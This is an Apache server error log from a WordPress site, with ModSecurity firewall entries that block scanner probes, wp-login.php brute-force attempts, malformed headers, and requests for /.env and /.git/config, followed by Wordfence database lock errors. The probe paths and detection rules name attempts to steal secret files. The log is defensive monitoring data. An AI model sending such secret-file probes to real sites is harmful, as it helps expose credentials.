[Fri Feb 20 00:40:02.994263 2026] [:error] [pid 5580:tid 5585] [client 79.137.67.84:46436] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aZc84oV24kZpmf6nh3AwFAAAAcI"]
[Fri Feb 20 00:40:33.867173 2026] [:error] [pid 24048:tid 24052] [client 79.137.67.84:46444] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aZc9AWug6wHHqU0QyDYtawAAAUI"]
[Fri Feb 20 00:40:36.308728 2026] [:error] [pid 15513:tid 15515] [client 79.137.67.84:40812] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aZc9BMGTRTE022JWg18sOgAAAQA"]
[Fri Feb 20 00:40:38.618857 2026] [:error] [pid 24048:tid 24063] [client 79.137.67.84:40816] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aZc9Bmug6wHHqU0QyDYteAAAAU0"]
[Fri Feb 20 00:40:41.083393 2026] [:error] [pid 48901:tid 48924] [client 79.137.67.84:47226] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZc9CcixYz-lHbN0WBIDDwAAAA4"]
[Fri Feb 20 00:40:43.543725 2026] [:error] [pid 24048:tid 24058] [client 79.137.67.84:47232] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aZc9C2ug6wHHqU0QyDYtfQAAAUg"]
[Fri Feb 20 00:40:45.985216 2026] [:error] [pid 15513:tid 15518] [client 79.137.67.84:47248] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZc9DcGTRTE022JWg18sQgAAAQM"]
[Fri Feb 20 00:40:48.457672 2026] [:error] [pid 5581:tid 5619] [client 79.137.67.84:47250] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aZc9EHIfW0xlXmrVd3r85QAAAgg"]
[Fri Feb 20 00:40:50.907377 2026] [:error] [pid 15513:tid 15516] [client 79.137.67.84:54898] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aZc9EsGTRTE022JWg18sSQAAAQE"]
[Fri Feb 20 00:40:53.227609 2026] [:error] [pid 48903:tid 48967] [client 79.137.67.84:54912] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aZc9FY6aTgKrpAR115seTgAAAII"]
[Fri Feb 20 00:40:55.718260 2026] [:error] [pid 48901:tid 48922] [client 79.137.67.84:54918] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aZc9F8ixYz-lHbN0WBIDNAAAAAw"]
[Fri Feb 20 00:40:58.172867 2026] [:error] [pid 48901:tid 48927] [client 79.137.67.84:54920] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZc9GsixYz-lHbN0WBIDNwAAABE"]
[Fri Feb 20 00:41:00.653396 2026] [:error] [pid 48902:tid 48955] [client 79.137.67.84:60826] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aZc9HGcJ-6aYRpRRFsVXLAAAAFE"]
[Fri Feb 20 00:56:16.275430 2026] [:error] [pid 24048:tid 24068] [client 185.110.146.106:36148] [client 185.110.146.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.110.146.106, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZdAsGug6wHHqU0QyDYwPAAAAVI"]
[Fri Feb 20 01:20:50.795143 2026] [:error] [pid 24048:tid 24052] [client 67.205.42.235:56160] [client 67.205.42.235] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 67.205.42.235, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZdGcmug6wHHqU0QyDY2eQAAAUI"]
[Fri Feb 20 02:51:45.732921 2026] [:error] [pid 15513:tid 15530] [client 43.156.202.34:35966] [client 43.156.202.34] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZdbwcGTRTE022JWg19KQgAAAQ8"]
[Fri Feb 20 03:04:22.302436 2026] [:error] [pid 5581:tid 5630] [client 217.160.189.228:49230] [client 217.160.189.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.160.189.228, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZdetnIfW0xlXmrVd3ooQAAAAhM"]
[Fri Feb 20 03:21:58.216784 2026] [:error] [pid 15513:tid 15537] [client 195.154.174.40:36702] [client 195.154.174.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.154.174.40, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZdi1sGTRTE022JWg19QZQAAARY"]
[Fri Feb 20 03:37:38.362973 2026] [:error] [pid 61587:tid 61613] [client 104.208.160.135:58116] [client 104.208.160.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.208.160.135, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZdmgkAn-C79Txv0hWQBMwAAANg"]
[Fri Feb 20 04:19:56.988468 2026] [:error] [pid 64403:tid 64421] [client 195.178.110.187:49990] [client 195.178.110.187] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aZdwbGsY-w3EIXaNGw5XIAAAAAg"]
[Fri Feb 20 05:44:42.537198 2026] [:error] [pid 64404:tid 64457] [client 211.21.61.245:36202] [client 211.21.61.245] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.21.61.245, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZeESsg5Wkqq1wjajcCCCAAAAFE"]
[Fri Feb 20 06:04:38.831910 2026] [:error] [pid 64510:tid 64531] [client 182.42.111.213:48464] [client 182.42.111.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aZeI9ixwOnmwqVfn93VIjgAAANM"]
[Fri Feb 20 07:14:15.187350 2026] [:error] [pid 64403:tid 64429] [client 82.223.13.54:41370] [client 82.223.13.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.223.13.54, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZeZR2sY-w3EIXaNGw6WyQAAABA"]
[Fri Feb 20 07:33:50.877991 2026] [:error] [pid 64405:tid 64469] [client 43.153.36.110:59322] [client 43.153.36.110] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aZed3tSgDnQB5OAbOuTm_gAAAII"]
[Fri Feb 20 08:05:17.992023 2026] [:error] [pid 22495:tid 22511] [client 103.181.182.86:36488] [client 103.181.182.86] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aZelPazhuDxEcqzNb1KG_QAAAk4"]
[Fri Feb 20 08:05:17.992816 2026] [:error] [pid 64403:tid 64414] [client 103.181.182.86:36494] [client 103.181.182.86] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/api2/.env"] [unique_id "aZelPWsY-w3EIXaNGw6n8AAAAAE"]
[Fri Feb 20 08:05:24.017505 2026] [:error] [pid 64404:tid 64447] [client 103.181.182.86:59598] [client 103.181.182.86] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/api2/.env"] [unique_id "aZelRMg5Wkqq1wjajcC1PAAAAEc"]
[Fri Feb 20 08:05:24.018787 2026] [:error] [pid 22386:tid 22411] [client 103.181.182.86:59592] [client 103.181.182.86] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aZelRFx0Mpd-hTXwU6KR4wAAAhc"]
[Fri Feb 20 10:08:26.005783 2026] [:error] [pid 54461:tid 54512] [client 195.178.110.187:59268] [client 195.178.110.187] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aZfCGi372fkN0w39NDP1kwAAAFQ"]
[Fri Feb 20 10:56:10.312157 2026] [:error] [pid 54552:tid 54572] [client 93.16.216.118:51006] [client 93.16.216.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 93.16.216.118, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZfNSse4t0F-_sbWepZ05wAAANE"]
[Fri Feb 20 11:03:12.838753 2026] [:error] [pid 54552:tid 54555] [client 170.106.65.93:50276] [client 170.106.65.93] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZfO8Me4t0F-_sbWepZ3vgAAAMA"]
[Fri Feb 20 11:12:26.553282 2026] [:error] [pid 54552:tid 54579] [client 139.59.37.240:56134] [client 139.59.37.240] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.59.37.240, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZfRGse4t0F-_sbWepZ8rAAAANg"]
[Fri Feb 20 12:11:57.627117 2026] [proxy_fcgi:error] [pid 54461:tid 54505] [client 103.4.122.14:53638] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/customizables/Builders/BaseElementBuilder.php', 'wp-content/plugins/admin-menu-editor-pro/customizables/Builders/BaseElementBuilder.php'), ('/home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/customizables/Builders/CodeEditorBuilder.php', 'wp-content/plugins/admin-menu-editor-pro/customizables/Builders/CodeEditorBuilder.php'), ('/home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/customizables/Builders/ContainerBuilder.php', 'wp-content/plugins/admin-menu-editor-pro/customizables/Builders/ContainerBuilder.php'), ('/home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/customizables/Builders/ControlBuilder.php', 'wp-content/plugins/admin-menu-editor-pro/customizables/Builders/ControlBuilder.php'), ('/home/vetstars/public_htm...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/extras/zod/lib/index.js', 'wp-content/plugins/admin-menu-editor-pro/extras/zod/lib/index.js'), ('/home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/extras/zod/lib/locales/en.js', 'wp-content/plugins/admin-menu-editor-pro/extras/zod/lib/locales/en.js'), ('/home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/extras.php', 'wp-content/plugins/admin-menu-editor-pro/extras.php'), ('/home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/images/eye-dashed.svg', 'wp-content/plugins/admin-menu-editor-pro/images/eye-dashed.svg'), ('/home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/includes/AmeAutoloader.php', 'wp-content/plugins/admin-menu-editor-pro/includes/AmeAutoloader.php'), ('/home/vetstars/public_html/wp-conten...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/elementor/assets/css/widget-divider-rtl.min.css', 'wp-content/plugins/elementor/assets/css/widget-divider-rtl.min.css'), ('/home/vetstars/public_html/wp-content/plugins/elementor/assets/css/widget-divider.min.css', 'wp-content/plugins/elementor/assets/css/widget-divider.min.css'), ('/home/vetstars/public_html/wp-content/plugins/elementor/assets/css/widget-floating-bars-base-rtl.min.css', 'wp-content/plugins/elementor/assets/css/widget-floating-bars-base-rtl.min.css'), ('/home/vetstars/public_html/wp-content/plugins/elementor/assets/css/widget-floating-bars-base.min.css', 'wp-content/plugins/elementor/assets/css/widget-floating-bars-base.min.css'), ('/home/vetstars/public_html/wp-content/plugins/elementor/assets/css/widget-floating-bars-var-2-rtl.min.css', 'wp-content/plugins/elementor/asset...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/elementor/assets/js/packages/editor-mcp/editor-mcp.js.LICENSE.txt', 'wp-content/plugins/elementor/assets/js/packages/editor-mcp/editor-mcp.js.LICENSE.txt'), ('/home/vetstars/public_html/wp-content/plugins/elementor/assets/js/packages/editor-mcp/editor-mcp.min.js', 'wp-content/plugins/elementor/assets/js/packages/editor-mcp/editor-mcp.min.js'), ('/home/vetstars/public_html/wp-content/plugins/elementor/assets/js/packages/editor-mcp/editor-mcp.min.js.LICENSE.txt', 'wp-content/plugins/elementor/assets/js/packages/editor-mcp/editor-mcp.min.js.LICENSE.txt'), ('/home/vetstars/public_html/wp-content/plugins/elementor/assets/js/packages/editor-mcp/editor-mcp.strings.js', 'wp-content/plugins/elementor/assets/js/packages/editor-mcp/editor-mcp.strings.js'), ('/home/vetstars/public_html/wp-content/plugi...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/elementor/core/app/app.php', 'wp-content/plugins/elementor/core/app/app.php'), ('/home/vetstars/public_html/wp-content/plugins/elementor/core/app/modules/import-export/module.php', 'wp-content/plugins/elementor/core/app/modules/import-export/module.php'), ('/home/vetstars/public_html/wp-content/plugins/elementor/core/app/modules/kit-library/connect/kit-library.php', 'wp-content/plugins/elementor/core/app/modules/kit-library/connect/kit-library.php'), ('/home/vetstars/public_html/wp-content/plugins/elementor/core/app/modules/kit-library/module.php', 'wp-content/plugins/elementor/core/app/modules/kit-library/module.php'), ('/home/vetstars/public_html/wp-content/plugins/elementor/core/app/modules/onboarding/module.php', 'wp-content/plugins/elementor/core/app/modules/onboarding/module.php'), ('...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/elementor/modules/atomic-widgets/import-export/modifiers/styles-ids-modifier.php', 'wp-content/plugins/elementor/modules/atomic-widgets/import-export/modifiers/styles-ids-modifier.php'), ('/home/vetstars/public_html/wp-content/plugins/elementor/modules/atomic-widgets/import-export/modifiers/styles-props-modifier.php', 'wp-content/plugins/elementor/modules/atomic-widgets/import-export/modifiers/styles-props-modifier.php'), ('/home/vetstars/public_html/wp-content/plugins/elementor/modules/atomic-widgets/library/atomic-widgets-library.php', 'wp-content/plugins/elementor/modules/atomic-widgets/library/atomic-widgets-library.php'), ('/home/vetstars/public_html/wp-content/plugins/elementor/modules/atomic-widgets/library/div-block.php', 'wp-content/plugins/elementor/modules/atomic-widgets/library/...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/elementor/vendor/elementor/wp-one-package/assets/elementor-home/2386.6162594b146992b1.js', 'wp-content/plugins/elementor/vendor/elementor/wp-one-package/assets/elementor-home/2386.6162594b146992b1.js'), ('/home/vetstars/public_html/wp-content/plugins/elementor/vendor/elementor/wp-one-package/assets/elementor-home/2513.a6e09ba88312bd3b.js', 'wp-content/plugins/elementor/vendor/elementor/wp-one-package/assets/elementor-home/2513.a6e09ba88312bd3b.js'), ('/home/vetstars/public_html/wp-content/plugins/elementor/vendor/elementor/wp-one-package/assets/elementor-home/2573.2bb62f8ed4c3092f.js', 'wp-content/plugins/elementor/vendor/elementor/wp-one-package/assets/elementor-home/2573.2bb62f8ed4c3092f.js'), ('/home/vetstars/public_html/wp-content/plugins/elementor/vendor/elementor/wp-one-package/assets...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/elementor-pro/assets/js/editor.js', 'wp-content/plugins/elementor-pro/assets/js/editor.js'), ('/home/vetstars/public_html/wp-content/plugins/elementor-pro/assets/js/editor.min.js', 'wp-content/plugins/elementor-pro/assets/js/editor.min.js'), ('/home/vetstars/public_html/wp-content/plugins/elementor-pro/assets/js/elements-handlers.js', 'wp-content/plugins/elementor-pro/assets/js/elements-handlers.js'), ('/home/vetstars/public_html/wp-content/plugins/elementor-pro/assets/js/elements-handlers.min.js', 'wp-content/plugins/elementor-pro/assets/js/elements-handlers.min.js'), ('/home/vetstars/public_html/wp-content/plugins/elementor-pro/assets/js/floating-bars-var-2.75c36e8b0bacbac6105e.bundle.min.js', 'wp-content/plugins/elementor-pro/assets/js/fl
[Fri Feb 20 12:12:09.441899 2026] [proxy_fcgi:error] [pid 54461:tid 54505] [client 103.4.122.14:53638] AH01071: Got error 'exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/elementor-pro/modules/dynamic-tags/tags/post-featured-image.php', 'wp-content/plugins/elementor-pro/modules/dynamic-tags/tags/post-featured-image.php'), ('/home/vetstars/public_html/wp-content/plugins/elementor-pro/modules/dynamic-tags/tags/post-gallery.php', 'wp-content/plugins/elementor-pro/modules/dynamic-tags/tags/post-gallery.php'), ('/home/vetstars/public_html/wp-content/plugins/elementor-pro/modules/dynamic-tags/tags/post-id.php', 'wp-content/plugins/elementor-pro/modules/dynamic-tags/tags/post-id.php'), ('/home/vetstars/public_html/wp-content/plugins/elementor-pro/modules/dynamic-tags/tags/post-terms.php', 'wp-content/plugins/elementor-pro/modules/dynamic-tags/tags/post-terms.php'), ('/home/vetstars/public_html/wp-content/plugins/elementor-pro/modules/dynamic-tags/tags/post-time.php...'
[Fri Feb 20 12:12:15.180384 2026] [proxy_fcgi:error] [pid 54461:tid 54492] [client 103.4.122.14:53692] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wffilemods (filename,real_path,filenameMD5,knownFile,newMD5,SHAC) VALUES ('wp-content/plugins/smart-slider-3/Nextend/SmartSlider3/Platform/WordPress/Integration/Divi/V31ge/includes/modules/SmartSlider3FullWidth/SmartSlider3FullWidth.php','/home/vetstars/public_html/wp-content/plugins/smart-slider-3/Nextend/SmartSlider3/Platform/WordPress/Integration/Divi/V31ge/includes/modules/SmartSlider3FullWidth/SmartSlider3FullWidth.php',UNHEX('6c901a0f9f3a674a341e82b1182a0221'),1,UNHEX('F8F5E2BF99F971D6F9B201E65CF6921B'),UNHEX('73DFF701031D53C524978D42CDE8C1DFEA2AB0A30637F394D41CE9033426BC45')),('wp-content/plugins/smart-slider-3/Nextend/SmartSlider3/Platform/WordPress/Integration/Divi/V31ge/loader.php','/home/vetstars/public_html/wp-content/plugins/smart-slider-3/Nextend/SmartSlider3/Platform/WordPress/Integration/Divi/V31ge/loader.php',UNHEX('48d72cda8608e7195843343e6063f92e'),1,UNHEX('026E55...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('lastScanCompleted', 'Insert query failed: INSERT INTO wp_wffilemods (filename,real_path,filenameMD5,knownFile,newMD5,SHAC) VALUES (\\'wp-content/plugins/smart-slider-3/Nextend/SmartSlider3/Platform/WordPress/Integration/Divi/V31ge/includes/modules/SmartSlider3FullWidth/SmartSlider3FullWidth.php\\',\\'/home/vetstars/public_html/wp-content/plugins/smart-slider-3/Nextend/SmartSlider3/Platform/WordPress/Integration/Divi/V31ge/includes/modules/SmartSlider3FullWidth/SmartSlider3FullWidth.php\\',UNHEX(\\'6c901a0f9f3a674a341e82b1182a0221\\'),1,UNHEX(\\'F8F5E2BF99F971D6F9B201E65CF6921B\\'),UNHEX(\\'73DFF701031D53C524978D42CDE8C1DFEA2AB0A30637F394D41CE9033426BC45\\')),(\\'wp-content/plugins/smart-slider-3/Nextend/SmartSlider3/Platform/WordPress/Integration/Divi/V31ge/loader.php\\',\\'/home/vetstars/public_html/wp-content/plugins/smart-slider-3/Nextend/SmartSlider3/P...'
[Fri Feb 20 12:12:22.449073 2026] [:error] [pid 54461:tid 54504] [client 111.172.249.49:34850] [client 111.172.249.49] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZffJi372fkN0w39NDMhngAAAEw"]
[Fri Feb 20 13:26:57.202720 2026] [:error] [pid 54461:tid 54509] [client 23.105.193.86:34764] [client 23.105.193.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.105.193.86, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZfwoS372fkN0w39NDM8nwAAAFE"]
